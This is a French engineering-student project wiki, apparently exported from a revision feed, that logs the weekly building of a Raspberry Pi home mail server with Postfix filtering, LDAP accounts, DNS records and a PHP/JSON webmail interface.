[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26862</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26862"/>
				<updated>2016-02-10T12:49:54Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 21 (22/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
